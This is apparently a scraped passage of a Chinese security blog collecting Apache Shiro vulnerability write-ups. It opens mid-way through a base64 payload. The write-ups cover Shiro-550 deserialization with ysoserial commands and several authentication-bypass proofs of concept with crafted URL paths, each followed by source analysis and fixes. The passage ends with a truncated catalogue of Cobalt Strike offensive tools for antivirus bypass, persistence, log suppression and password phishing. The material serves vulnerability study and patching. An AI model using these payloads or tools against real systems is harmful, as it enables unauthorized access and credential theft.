6iCiWA3njB3ZKp9WhPNgT1qiJcwPcH1mDFJZtMkfBcDFeOQXBr1X253IZImsPC0LkKJZBI2dkgysy0jnLs5gKa9cebfZyJQkRQuFtpa7obu+Fs40ICStzuKoIm7dtZO6Yo6dxRTNWDbZYopt53YcvtSiXVjoi3XR7Qymlm01BHLgzZvF17ANT9H5KXgjfM6Ct6xjFEfHUl+DxevS/GOeSwOzCeoBN5n9UvjopnGoZGrnRw/XaeU+3UpFb+kRI4pr60vm/J9u2KSYrvLSr573vQ7j438J9GSP9yQ0x4XeRKz6PpM4ntaqwPt8gKSPKnVkAeUPb6ocDD1O6lhg3FurZ7WgB3qj90pVzStXRzHDeTkbOCgAZzxOwoH8TuA0TkW3NVSVg1OMAspYhGDiOtFznnOc3ES8D5KzPyThas0eGvrmzPGpWLtK1cfrZEwgmndJFoK3f1rV7Y2FghM56Zl9xhFodS4Cjv9HgzRsBIMtrF57pbftvvBOoBNRvkg2WLMK2+ruzD90dNHypvBTlmyMWFVSeGGWYkeeNgCAzrWF/LpkTSfxCRwe0dhUkFXEYlYksTWZgmWU4haiIifz7+dpm/tME/BZhzbIVRYwraYYydyN34ODw/RJN+LSsL0XRFb0xPWjuIEn4Cselz1XOt/XO0D5G2NZ8vjVBp0mArwp4GtN6ISvgAAAAAAAAAAAAAAAAAAAAA=7.使用Evil Rememberme cookie 认证进行反序列化攻击:复制该cookie,然后重放一下数据,即可成功执行命令 8.检查一下执行结果,可以看到成功创建了一个test文件 root@backlion-virtual-machine:/opt# docker psCONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES3f2fb81c0d93 be60cf0b7704 "/usr/local/tomcat/b…" About an hour ago Up About an hour 0.0.0.0:8080->8080/tcp vigilant_williamsonroot@backlion-virtual-machine:/opt# docker exec -it 3f2fb81c0d93 /bin/bashroot@3f2fb81c0d93:/tmp# ls另一种验证方式:http://10.206.14.185:8080/samples-web-1.4.1/account/ java -jar ysoserial-master-6eca5bc740-1.jar CommonsBeanutils1 "ping y2xqmm.dnslog.cn" > payload.class #也可以生成简单ping dnslog的地址来测试是否 python shiro_exp.py http://10.206.14.185:8080/samples-web-1.4.1/account/ 7y9G8wmu+3c94D0kaxohut34n3ldwNnWxmrT9DQDEiSrQ7agYNnci1mh+IYQLmL8cehaMPcnBDclNaEN6eZrPvsEX7eApt5SJEZkmow+ZPsEsnh4wrnHoe7p8RjGVu6P/onx7nrFzZln9d4RC1N8vxEVPUlYZXU7xsMRs35Q8ziFH1EJ1jl/5eiDTn7Wx3yLbHCPyg6v+Qu5ADD+AMbvdHzlLOwY8Pfm5uqEKp36jIwsZjDcQJRhwyUjhAuRyqSUEFKzAq95XUYRaBKKsoxQwN6gD4z7G6lAIBY880CP0QIMhImmbHVfJti/rrnJ/RsxJtoeIH8TujlsEvcCGbJ3Od2XDbhilQUT57XralFArZB7tVCQE9/Vdce96jzR1TjD2rsPbg77eEUXOWbwkYBkJxFBex+p/YrLeJnxm9IvDijGHH2pZp9kCkej7uc8qPm+rH+V3xE0ChIxZXF5l9ScPsvHLJD+gAhgszg75pQnLiS5SOPG73GCj2gFFzzsKnCB payload.class 一.漏洞利用复现021.登录 Shiro 测试账户获取合法 Cookie(勾选Remember Me): http://192.168.1.14:8080/login.jsp 2.打开burp并对其进行抓包,Send to Repeater,可以看到成功登录后的cookie中的rememberMe值 3.通过shiro550/721漏洞检查工具对其进行验证工具下载地址:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z 4.出现“+”证明存在漏洞 http://10.206.14.185:8080/samples-web-1.4.1/login.jsp 0x06 修复方式 1.更新版本Apache Shior到最新版本: 升级至安全版本关闭rememberMe持久化登录功能。2. 临时防范建议: 在安全设备尝试拦截爆破流量,及时阻止攻击者进行尝试性攻击。 a. 升级Shiro到最新版 b.升级对应JDK版本到 8u191/7u201/6u211/11.0.1 以上 c.WAF拦截Cookie中长度过大的rememberMe值 d.WAF拦截访问过于频繁的IP, 因为该漏洞需要爆破Cookie
  15. 0x00 漏洞详情shiro在路径控制的时候,未能对传入的url编码进行decode解码,导致攻击者可以绕过过滤器,访问被过滤的路径。0x01 漏洞影响shrio <1.3.20x02 环境搭建由于这个版本还没有 shiro-spring-boot-starter,只能从 GitHub 上获取项目进行测试,https://github.com/godzeo/shiro_1.2.4_sample/archive/master.zip。 接下来还需要在 samples/web/pom.xml 文件中,将 jstl 的版本指定为 1.2。 通过idea编辑器对其进行编译成war包,然后放到tomcat中webapps目录中运行。已编译好的war包:https://github.com/backlion/demo/blob/master/samples-web-1.2.4.war0x03 漏洞复现访问http://192.168.1.9:8080/account/index.jsp 的时候,页面返回403或者302t。因此可以确定account路径是属于被过滤路径。此时使用burp截断,然后在访问路径的前添加 /任意目录名/../,即可绕过认证权限进行访问。1.首先直接访问后台主页,然后直接302跳转 2.如果在访问路径前加上/任意目录名/../,即可越权访问3.这里可以对其后台主页源码查看确实是和绕过后访问的页面内容是一致的。 0x04 漏洞分析关于这个漏洞,网上公开的资料非常少,唯二能找到的有用的就是 GitHub 上的 commit 记录,以及 CVE 的描述信息。 GitHub commit 信息:https://github.com/apache/shiro/commit/b15ab927709ca18ea4a02538be01919a19ab65afCVE 描述:https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6802根据 commit 信息,可以定位到缺陷是在 WebUtils.java 中的 getContextPath 方法。 CVE 描述如下: Apache Shiro before 1.3.2 allows attackers to bypass intended servlet filters and gain access by leveraging use of a non-root servlet context path. 根据这个 CVE 描述以及 commit 信息,我们可以知道,漏洞是出现在 Non-ROOT ContextPath 的情况下,获取 ContextPath 时造成的,不过详细信息还无从得知。 既然是与 ContextPath 相关,所以部署样例项目的时候,需要部署到某个 ContextPath 下面,不能使用 ROOT。我们先在 getContextPath 函数的入口处 247 行打个断点,并且发送一个正常的需要登录才能访问的请求看一下这附近代码的处理逻辑; curl -v "http://192.168.1.9:8080/samples-web-1.2.4/account/index.jsp"断下来之后可以看到,这里就是取了 ContextPath,并无特殊操作,我们跟着 return 继续向下跟。如果不了解 ContextPath,建议先自行 Google 一下。 跟到 org.apache.shiro.web.util.WebUtils#getPathWithinApplication 这个函数,可以发现,我们刚刚获取的 ContextPath 其实是为了计算出 RequestURI ,参考画线的两行代码; 继续一直跟到了 org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain 这个函数中,可以看到这里最终其实是获取了 RequestURI 的,这里稍微单步跟一下,不难发现 103 行附近的 for 循环,是用我们获取到 RequestURI 进行一个匹配处理,对匹配到情况执行相应的操作。 我们这里请求的是 account/index.jsp,刚好匹配到了 /account/** 这个模式。在配置文件 (shiro.ini) 中,/account/** 这个目录是需要登录后的用户才能访问的,猜测这里后续的操作则是校验当前用户是否已经登录,或者说是否有权限; 这里直接 F9 放行,可以发现确实 302 跳转到了登录页面。这样一来,思路就清晰了,出问题的地方是 ContextPath,而 ContextPath 是用来生成 RequestURI 的,而 RequestURI 又是决定这个请求是否需要鉴权的。所以我们只需要构造出畸形的 ContextPath,使其生成出畸形的 RequestURI,就可以绕过 ApacheShiro 的鉴权机制了。 那么应当如何构造呢?根据 commit 的补丁代码,可以看到是是进行了解码和 normalize 操作,那肯定是因为有非 normal 的路径导致的,猜测只需要构造 /x/../ 这样的路径,让其取到错误的 ContextPath 即可。 重新断下来之后,可以看到 ContextPath 的值已经变成 /x/../sample_web_war 了,再向下跟一下,看看计算出的 RequestURI 是什么?经过 normalize 和解码之后,RequestURI 的值为 /sample_web_war/account/index.jsp。 继续向下跟到刚刚看到过的匹配部分,不难看出现在的 RequestURI 已经无法正常匹配到 /account/** 这个模式了,也就不会进入校验是否登录的阶段,我们把这次请求放行之后看看是否正常。 curl --path-as-is -v "http://192.168.1.9:8080/x/../samples-web-1.2.4/account/index.jsp" 成功的返回了需要登录之后才能看到的页面内容。主要还是因为对 ContextPath 和 RequestURI 处理不一致导致的。 0x05 参考文献https://blog.csdn.net/qq_41832837/article/details/109064636#%E8%BF%9C%E7%A8%8B%E5%AE%89%E5%85%A8%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2016-6802%EF%BC%89 http://ll29.cn/Apache%20Shiro/Apache%20Shiro%E8%BF%9C%E7%A8%8B%E5%AE%89%E5%85%A8%E9%99%90%E5%88%B6%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E[CVE-2016-6802].html https://lightless.me/archives/apache-shiro-analysis.html https://github.com/godzeo/shiro_1.2.4_sample
  16. 0x00 漏洞描述Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。之前Apache Shiro身份验证绕过漏洞CVE-2020-11989的修复补丁存在缺陷,在1.5.3及其之前的版本,由于shiro在处理url时与spring仍然存在差异,依然存在身份校验绕过漏洞由于处理身份验证请求时出错,远程攻击者可以发送特制的HTTP请求,绕过身份验证过程并获得对应用程序的未授权访问。0x01 漏洞影响Apache Shiro < 1.6.00x02 环境搭建1.下载项目到本地https://github.com/l3yx/springboot-shiro2.将pom.xml中的1.5.2替换为1.5.3,将src/main/java/org/syclover/srpingbootshiroLoginController中的后台验证/admin/page替换为/admin/{name}3.通过IDEA编辑器重新build并运行即可,已编译好的war包将其放到tomcat下的webapps目录下运行即可https://github.com/backlion/demo/blob/master/srpingboot-shiro-0.0.1-SNAPSHOT.war0x03 代码说明1.ShiroConfig.java(pringboot-shiro-master\src\main\java\org\syclover\srpingbootshiro\ShiroConfig.java)权限配置, 当请求/admin/* 资源时, 302 跳转到登陆页面进行身份认证: 2.LoginController.java(springboot-shiro-master\src\main\java\org\syclover\srpingbootshiro\LoginController.java)/admin/{name}: 请求名为 name 的的资源(触发身份认证): 0x04 漏洞复现1.不在请求路由中指定资源名称时,不触发身份验证,也无资源返回:http://192.168.1.9:8080/srpingboot-shiro-0.0.1-SNAPSHOT/admin 2.在请求路由中指定资源名称时,302 跳转到身份验证页面:http://192.168.1.9:8080/srpingboot-shiro-0.0.1-SNAPSHOT/login 3.构造特定 PoC 请求指定资源时,不触发身份验证,并绕过权限(通过%3b绕过)http://192.168.1.9:8080/srpingboot-shiro-0.0.1-SNAPSHOT/admin/%3bpage 0x05 漏洞分析可以看到出问题的地方在org.apache.shiro.web.util.Webutils#getPathWithinApplication,shiro1.5.3进行了修改,直接在这里下断点,然后dubug调试更新后利用getServletPath和getPathInfo进行获取URL,然而真正的漏洞点并不在此可以看到拼合后URL是没问题的,再看经过removeSemicolon处理后可以看到只保留了/admin/*,可以在控制器里添加/admin/*路由进行测试,@GetMapping("/admin*") public String admin2() { return "please login, admin"; }http://192.168.1.9:8080/srpingboot-shiro-0.0.1-SNAPSHOT/admin/* 访问是不会有权限验证的,当然,在后面添加上参数的话就需要权限了 跟进removeSemicolon 同样,将;后的内容截断,包括; 再看下Spring如何处理 Spring没有问题,获取到的是/admin/;page,然后将;page作为一整个字符串,匹配/admin/{name}路由,导致越权 再看下是怎么处理URL的 `org.springframework.web.util.UrlPathHelper#decodeAndCleanUriString removeSemicolonContent # 去除;及以后部分 decodeRequestString # 进行urldecode解码 getSanitizedPath # 将//替换为/而shiro则相反首先进行了urldecode,接着才去去除,从而导致了漏洞漏洞 DEBUG 位置:shiro-web-1.5.3.jar// org.apache.shiro.web.util.WebUtils.java // line 111 public static String getPathWithinApplication(HttpServletRequest request) { return normalize(removeSemicolon(getServletPath(request) + getPathInfo(request))); }pring-web-5.2.5.RELEASE.jar// org.springframework.web.util.UrlPathHelper.java // line 459 private String decodeAndCleanUriString(HttpServletRequest request, String uri) { uri = removeSemicolonContent(uri); uri = decodeRequestString(request, uri); uri = getSanitizedPath(uri); return uri; }0x06 漏洞修复目前官方已发布漏洞修复版本,更新 Apache Shiro >= 1.6.0 0x07 参考文献https://github.com/lyy289065406/CVE-2020-13933https://www.cnblogs.com/ph4nt0mer/p/13535999.htmlhttps://xz.aliyun.com/t/8223
  17. 0x00 漏洞简述Apache Shiro 1.5.3之前的版本中,当将Apache Shiro与Spring动态控制器一起使用时,精心编制的请求可能会导致绕过身份验证,如果直接访问 /shiro/admin/page ,会返回302跳转要求登录,访问 /;/shiro/admin/page , 就能直接绕过Shiro权限验证,访问到/admin路由中的信息0x01 漏洞影响Apache Shiro 1.5.3之前的版本Spring 框架中只使用 Shiro 鉴权0x02 环境搭建1.下载项目到本地https://github.com/l3yx/springboot-shiro 2.通过idea编辑器对其进行编译成war包,然后讲放入到tomcat下的webapps目录中,运行即可。这里已编译好war包:https://github.com/backlion/demo/blob/master/shiro.war0x03 漏洞复现1.权限配置如下,其中/admin下的路由需要登录才能访问@Bean ShiroFilterFactoryBean shiroFilterFactoryBean(){ ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean(); bean.setSecurityManager(securityManager()); bean.setLoginUrl("/login"); bean.setSuccessUrl("/index"); bean.setUnauthorizedUrl("/unauthorizedurl"); Map<String, String> map = new LinkedHashMap<>(); map.put("/doLogin", "anon"); map.put("/admin/*", "authc"); bean.setFilterChainDefinitionMap(map); return bean; } --- @GetMapping("/admin/page") public String admin() { return "admin page"; }2.maven打包项目为shiro.war,部署于Tomcat。该漏洞成功利用存在下面两个条件应用不能部署根目录root目录下,也就是需要context-path,server.servlet.context-path=/shiro,如果为根目录则context-path为空,就会被CVE-2020-1957的patch将URL格式化,值得注意的是若Shiro版本小于1.5.2的话那么该条件就不需要。Spring控制器中没有另外的权限校验代码3.如果直接访问 /shiro/admin/page ,会返回302跳转要求登录 4.但是访问 /;/shiro/admin/page , 就能直接绕过Shiro权限验证,访问到/admin路由中的信息 0x04 漏洞分析由于Shiro的权限校验是通过判断url匹配来做的,如果能找到Shiro获取的url与Web框架处理url不一致的情况就能造成权限绕过。Shiro中对于URL的获取及匹配在org.apache.shiro.web.filter.mgt.PathMatchingFilterChainResolver#getChain以访问/;/shiro/admin/page举例,通过getPathWithinApplication函数得到的路径为/跟入该函数的处理逻辑org.apache.shiro.web.util.WebUtils#getPathWithinApplication 可以看到 org.apache.shiro.web.util.WebUtils#getRequestUri 获取到的是/ 这里分别通过getContextPath() getServletPath() getPathInfo()获取并拼接得到/;/test//admin/page,传入后decodeAndCleanUriString变成了/,org.apache.shiro.web.util.WebUtils#decodeAndCleanUriString 在decodeAndCleanUriString,会根据ascii为59的字符也就是;进行URL的截断,所以最终返回了/回到最开始的/;/shiro/admin/page请求,该request请求会进入spring中,spring处理url函数如下org.springframework.web.util.UrlPathHelper#getPathWithinServletMapping 在getPathWithinApplication处理下是能正确获取到context-path与路由,最终经过getPathWithinServletMapping函数格式化处理后,得到最终路径为/admin/page,所以我们可以正常访问到该页面因此总结来说就是当URL进入到Tomcat时,Tomcat判断/;shiro/admin/page ,为shiro应用下的/admin/page路由,进入到Shiro时被;截断被认作为/,再进入Spring时又被正确处理为test应用下的/admin/page路由,最后导致shiro的权限绕过。 0x05 漏洞修复升级到最新版,官方已在新版本中修复了该漏洞 0x06 参考文献https://l3yx.github.io/2020/06/30/Shiro-%E6%9D%83%E9%99%90%E7%BB%95%E8%BF%87%E6%BC%8F%E6%B4%9E-CVE-2020-11989/ https://xz.aliyun.com/t/8223
  18. 0x00 漏洞描述Apache Shiro 1.5.2之前版本中存在安全漏洞。攻击者可借助特制的请求利用该漏洞绕过身份验证。Shiro框架通过拦截器功能来对用户访问权限进行控制,如anon, authc等拦截器。anon为匿名拦截器,不需要登录即可访问;authc为登录拦截器,需要登录才可以访问。Shiro的URL路径表达式为Ant格式,路径通配符*表示匹配零个或多个字符串,/*可以匹配/hello,但是匹配不到/hello/,因为*通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello会进行权限判断,但如果访问的是/hello/,那么将无法正确匹配URL,直接放行,进入到spring拦截器。spring中的/hello和/hello/形式的URL访问的资源是一样的,从而实现了权限绕过。 0x01 漏洞影响Apache Shiro < 1.5.20x02 Shiro拦截器Shiro框架通过拦截器功能来实现对用户访问权限的控制和拦截。Shiro中常见的拦截器有anon,authc等拦截器。1.anon为匿名拦截器,不需要登录就能访问,一般用于静态资源,或者移动端接口 2.authc为登录拦截器,需要登录认证才能访问的资源。用户可以在Shiro.ini编写匹配URL配置,将会拦截匹配的URL,并执行响应的拦截器。从而实现对URL的访问控制,URL路径表达式通常为ANT格式。如下配置,访问 /index.html主页的时候,Shiro将不会对其进行登录判断,anon拦截器不需要登录就能进行访问。而对于/user/xiaoming 等 /user/xiaogang等接口,authc拦截器将会对其进行登录判断,有登录认证才能访问资源。[urls] /index.html = anon /user/** = authc Shiro的URL路径表达式为Ant 格式,路径通配符支持 ? * ** 。?:匹配一个字符 *:匹配零个或多个字符串 **:匹配路径中的零个或多个路径 其中*表示匹配零个或多个字符串,/*可以匹配/hello,但匹配不到/hello/因为*通配符无法匹配路径。假设/hello接口设置了authc拦截器,访问/hello将会被进行权限判断,如果请求的URI为/hello/呢,/*URL路径表达式将无法正确匹配,放行。然后进入到spring(Servlet)拦截器,spring中/hello 形式和/hello/形式的URL访问的资源是一样的。 0x03 环境搭建下载demo代码 :https://github.com/lenve/javaboy-code-samples/tree/master/shiro/shiro-basic导入ideaShiro版本1.4.2 <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-web</artifactId> <version>1.4.2</version> </dependency> <dependency> <groupId>org.apache.shiro</groupId> <artifactId>shiro-spring</artifactId> <version>1.4.2</version> </dependency>修改ShiroConfig配置文件,添加authc拦截器的拦截正则 @Bean ShiroFilterFactoryBean shiroFilterFactoryBean() { ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean(); ... ... //map.put("/*", "authc"); map.put("/hello/*", "authc"); bean.setFilterChainDefinitionMap(map); return bean; }修改路由控制器方法@GetMapping("/hello/{currentPage}") public String hello(@PathVariable Integer currentPage) { return "hello";}通过idea进行编译,可获得war包这里通过docker快速搭建漏洞环境:docker pull vulfocus/shiro-cve_2020_1957docker imagesdocker run -d -p 8080:8080 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=192.168.1.14 29136b1d3c61 -v /var/run/docker.sock:/var/run/docker.sock 为 docker 交互连接。-e DOCKER_URL 为 Docker 连接方式,默认通过 unix://var/run/docker.sock 进行连接,也可以通过 tcp://xxx.xxx.xxx.xxx:2375 进行连接(必须开放 2375 端口)。-v /vulfocus-api/db.sqlite3:db.sqlite3 映射数据库为本地文件。-e VUL_IP=xxx.xxx.xxx.xxx 为 Docker 服务器 IP ,不能为 127.0.0.1。 http://192.168.1.14:8080/login 0x04 漏洞复现1、Shiro1.4.2版本绕过权限访问/hello/1接口,可以看到被authc拦截器拦截了,将会跳转到登录接口进行登录。 访问/hello/1/,成功绕过authc拦截器,获取到了资源。 2、Shiro1.4.2版本绕过漏洞分析漏洞初始成因可以定位到 PathMatchingFilterChainResolver的getChain函数下,该函数作用根据URL路径匹配中配置的url路径表达式来匹配输入的URL,判断是否匹配拦截器,匹配成功将会返回响应的拦截器执行链,让ShiroFither执行权限操作的。其对于URL路径表达式和输入URL的匹配主要通过pathMathches函数进行匹配。pathMatches函数其最终会调用shiro.util.AntPathMatcher类中doMatch的对于ant格式的pathPattern和requestURI进行匹配。//pathMatches:135, PathMatchingFilterChainResolver (org.apache.shiro.web.filter.mgt) protected boolean pathMatches(String pattern, String path) { PatternMatcher pathMatcher = this.getPathMatcher(); return pathMatcher.matches(pattern, path); } doMatch:109, AntPathMatcher (org.apache.shiro.util),当Shiro 的Ant格式的pathPattern 中的的*通配符是不支持匹配路径的,所以/hello/* 不能成功匹配/hello/1/ ,也就不会触发authc拦截器进行权限拦截。从而成功绕过了Shiro拦截器,而后再进入到spring拦截器中,/hello/1/与/hello/1能获取到相同的资源。 3、Shiro≤1.5.1版本绕过在1.5.1版本中,/hello/会直接跳转到登录 绕过payload,/fdsf;/../hello/1,成功绕过。或者其他payload,xxxx/..;/hello/1,成功绕过(shiro的1.5.1及其之前的版本) 其中以上处理过程:客户端请求URL: /xxxx/..;/hello/1shrio 内部处理得到校验URL为 /xxxx/..,校验通过springboot 处理 /xxxx/..;/hello/1 , 最终请求 /hello, 成功访问了后台请求.4.Shiro≤1.5.1版本漏洞分析问题同样可以定位到getChain函数中对于requestURI的获取中,如下图所示,this.getPathWithinApplication(request)获取的requestURI为/fdsf ,而不是我们输入的/fdsf;/../hello/1,从而导致后面的URI路径模式匹配返回False,从而再次绕过了shiro拦截器。getPathWithinApplication函数中会调用WebUtils (org.apache.shiro.web.util)中的getRequestUri函数获取RequestUri。public static String getRequestUri(HttpServletRequest request) { String uri = (String)request.getAttribute("javax.servlet.include.request_uri"); if (uri == null) { uri = request.getRequestURI(); } return normalize(decodeAndCleanUriString(request, uri)); } RequestUri函数中最终调用decodeAndCleanUriString函数对URI进行清洗。 private static String decodeAndCleanUriString(HttpServletRequest request, String uri) { uri = decodeRequestString(request, uri); int semicolonIndex = uri.indexOf(59);//获取;号的位置 return semicolonIndex != -1 ? uri.substring(0, semicolonIndex) : uri; } 如果URI中存在;号的话,则会删除其后面的所有字符。/fdsf;/../hello/1/最终也就变成了/fdsf。 5.漏洞总结 在web容器中,Shiro的拦截器是先与spring(Servlet)执行,两者拦截器对于URI模式匹配的差异,导致Shiro拦截器的绕过,而Shiro对其进行了两次修复,其第一次在shiro1.4.2版本出现漏洞后为删除requestURI后面的/号进行URL路径匹配,算是简单的修复了添加/号绕过的方式,而后在1.5.2版本中通过requestURI自主拼接的方式修复了/fdsf;/../hello/1/等使用了;号方式的绕过 0x05 修复方案1.升级1.5.2版本及以上在shiro1.5.2版本已加入的过滤器规则: @Test void testGetRequestUriWithServlet() { dotTestGetPathWithinApplicationFromRequest("/", "/servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("", "/servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("", "servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("/", "servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("//", "servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("//", "//servlet", "//foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("/context-path", "/servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("//context-path", "//servlet", "//foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("//context-path", "/servlet", "/../servlet/other", "/servlet/other") dotTestGetPathWithinApplicationFromRequest("//context-path", "/asdf", "/../servlet/other", "/servlet/other") dotTestGetPathWithinApplicationFromRequest("//context-path", "/asdf", ";/../servlet/other", "/asdf") dotTestGetPathWithinApplicationFromRequest("/context%2525path", "/servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("/c%6Fntext%20path", "/servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("/context path", "/servlet", "/foobar", "/servlet/foobar") dotTestGetPathWithinApplicationFromRequest("", null, null, "/") dotTestGetPathWithinApplicationFromRequest("", "index.jsp", null, "/index.jsp") } 2.尽量避免使用*通配符作为动态路由拦截器的URL路径表达式。 0x06 参考文献https://www.zhihuifly.com/t/topic/2822 https://paper.seebug.org/1196/https://xz.aliyun.com/t/8281
  19. 0x00 前言第一部分是关于CobaltStrike优质文章的集合关于新特性BOF资源的整合解决要用的时候找不到合适aggressor script或者BOF的问题如果有本repo没有涉及的优质内容,欢迎大家提交pr0x01 相关文章合集 1. 基础知识参考 Cobalt_Strike_wikiCobaltStrike4.0笔记cobaltstrike4.1笔记CobaltStrike相关网络文章集合Cobalt Strike 外部 C2【一、原理篇】Cobalt Strike 桌面控制问题的解决(以及屏幕截图等后渗透工具)Cobalt Strike & MetaSploit 联动2. 破解以及定制参考 IntelliJ-IDEA修改cobaltstrikeCobaltStrike二次开发环境准备Cobal Strike 自定义OneLiner通过反射DLL注入来构建后渗透模块(第一课)Cobalt Strike Aggressor Script (第一课)Cobalt Strike Aggressor Script (第二课)3. 使用技巧参考 Cobalt Strike Spear Phishrun CS in win -- teamserver.batRemote NTLM relaying through CS -- related to CVE_2018_8581Cobalt Strike Convet VPN渗透神器CS3.14搭建使用及流量分析CobaltStrike生成免杀shellcodeCS-notes--一系列CS的使用技巧笔记使用 Cobalt Strike 对 Linux 主机进行后渗透Cobalt Strike Listener with ProxyCobalt Strike Convet VPNCS 4.0 SMB BeaconCobalt Strike 浏览器跳板攻击Cobalt Strike 中 Bypass UAC4. CobaltStrike隐匿参考 CobaltStrike证书修改躲避流量审查CS 合法证书 + Powershell 上线Cobalt Strike 团队服务器隐匿5. CobaltStrike分析参考 Volatility Plugin for Detecting Cobalt Strike Beacon. blog|Toolset逆向分析Cobalt Strike安装后门分析cobaltstrike c2 协议Small tool to decrypt a Cobalt Strike auth file0x02 C2 Profiles TypeNameDescriptionPopularityLanguageALLMalleable-C2-ProfilesOfficial Malleable C2 ProfilesALLMalleable-C2-RandomizerThis script randomizes Cobalt Strike Malleable C2 profiles through the use of a metalanguageALLmalleable-c2Cobalt Strike Malleable C2 Design and Reference GuideALLC2concealerC2concealer is a command line tool that generates randomized C2 malleable profiles for use in Cobalt Strike.0x03 BOF TypeNameDescriptionPopularityLanguageALLBOF_CollectionVarious Cobalt Strike BOFsALLSituational Awareness BOFIts larger goal is providing a code example and workflow for others to begin making more BOF files. BlogALLQueueUserAPC_PPIDBOF spawns a process of your choice under a specified parent, and injects a provided shellcode file via QueueUserAPC().ALLbof_helperBeacon Object File (BOF) Creation Helper0x04 Aggressor Script TypeNameDescriptionPopularityLanguageBypassAVBypassAV用于快速生成免杀的可执行文件BypassAVscrunBypassAV ShellCode Loader (Cobaltstrike/Metasploit) UseageBypassAVbeacon-c2-gobeacon-c2-go (Cobaltstrike/Metasploit)BypassAVC--Shellcodepython ShellCode Loader (Cobaltstrike&Metasploit) UseageReconred-team-scriptsperform some rudimentary Windows host enumeration with Beacon built-in commandsReconaggressor-powerviewAll functions listed in the PowerView about page are included in this with all arguments for each function. PowerViewReconPowerView3-AggressorPowerView Aggressor Script for CobaltStrike PowerViewReconAggressorScriptsSharphound-Aggressor- A user menu for the SharpHound ingestorReconServerScan内网横向信息收集的高并发网络扫描、服务探测工具。ExploitXSS-Fishing2-CS鱼儿在cs上线后自动收杆 / Automatically stop fishing in javascript after the fish is hookedExploitXSS-Phishingxss钓鱼,cna插件配合php后端收杆Exploitcustom_payload_generatorCobaltStrike3.0+ --> creates various payloads for Cobalt Strike's Beacon. Current payload formatsExploitCrossC2CrossC2 framework - Generator CobaltStrike's cross-platform beaconExploitGECCGo External C2 Client implementation for cobalt strike.ExploitCobaltstrike-MS17-010ms17-010 exploit tool and scanner.ExploitAES-PowerShellCodeStandalone version of my AES Powershell payload for Cobalt Strike.ExploitSweetPotato_CSCobaltStrike4.x --> SweetPotatoExploitElevateKitprivilege escalation exploitsExploitCVE-2018-4878CVE-2018-4878ExploitAggressor-ScriptsThe only current public is UACBypass, whose readme can be found inside its associated folder.ExploitCVE_2020_0796_CNA基于ReflectiveDLLInjection实现的本地提权漏洞ExploitDDEAutoCSsetup our stage(d) Web Delivery attackExploitgeaconImplement CobaltStrike's Beacon in Go (can be used in Linux)Persistencepersistence-aggressor-scriptpersistence-aggressor-scriptPersistencePeinject_dll弃用winexec函数,使用shellexecute函数,程序流不在卡顿,达到真正的无感。PersistenceTikiTorchTikiTorch follows the same concept(CACTUSTORCH) but has multiple types of process injection available, which can be specified by the user at compile time.PersistenceCACTUSTORCHA JavaScript and VBScript shellcode launcher. This will spawn a 32 bit version of the binary specified and inject shellcode into it.PersistenceUploadAndRunFrp上传frpc并且运行frpcPersistencepersistence-aggressor-scriptPersistence Aggressor ScriptAuxiliaryCobaltstrike-atexec利用任务计划进行横向,需要与135端口、445端口进行通信AuxiliarySharpCompileSharpCompile is an aggressor script for Cobalt Strike which allows you to compile and execute C# in realtime.AuxiliaryQuickrundownUtilizing QRD will allow an operator to quickly characterize what processes are both known and unknown on a host through the use of colors and notes about the processes displayed.AuxiliaryPhant0m_cobaltstrikeThis script walks thread stacks of Event Log Service process (spesific svchost.exe) and identify Event Log Threads to kill Event Log Service Threads. So the system will not be able to collect logs and at the same time the Event Log Service will appear to be running.AuxiliaryNoPowerShellNoPowerShell is a tool implemented in C# which supports executing PowerShell-like commands while remaining invisible to any PowerShell logging mechanisms.AuxiliaryEventLogMasterRDP EventLog MasterAuxiliaryANGRYPUPPYBloodhound Attack Path Execution for Cobalt StrikeAuxiliaryCobaltStrike_Script_Wechat_Push上线微信提醒的插件,通过微信Server酱提醒AuxiliaryCS-Aggressor-Scriptsslack and webhooks reminderAuxiliaryAggressor-Scriptssurveying of powershell on targets (在对应的目标上检测powershell的相关信息)Auxiliarycs-magikImplements an events channel and job queue using Redis for Cobalt Strike.AuxiliaryAggressorScripts查看进程的时候讲av进程标注为红色AuxiliaryRavenCobaltStrike External C2 for WebsocketsAuxiliaryCobaltStrikeParserPython parser for CobaltStrike Beacon's configurationAuxiliaryfakelogonscreenFakeLogonScreen is a utility to fake the Windows logon screen in order to obtain the user's password.AuxiliarySyncDogMake bloodhound sync with cobaltstrike.SynthesisErebusCobaltStrike4.x --> Erebus CobaltStrike后渗透测试插件SynthesisCobalt-Strike-Aggressor-ScriptsCobaltStrike后渗透测试插件集合 UsageSynthesisAggressorScriptsAggressor scripts for use with Cobalt Strike 3.0+SynthesisRedTeamToolsRedTeamTools for use with Cobalt StrikeSynthesiscobalt-arsenalAggressor Scripts for Cobalt Strike 4.0+SynthesisMoveKitThe aggressor script handles payload creation by reading the template files for a specific execution type. introSynthesisStayKitThe aggressor script handles payload creation by reading the template files for a specific execution type. introSynthesisAggressorScriptsAggressorScriptsSynthesisAggressorScriptsCollection of Aggressor scripts for 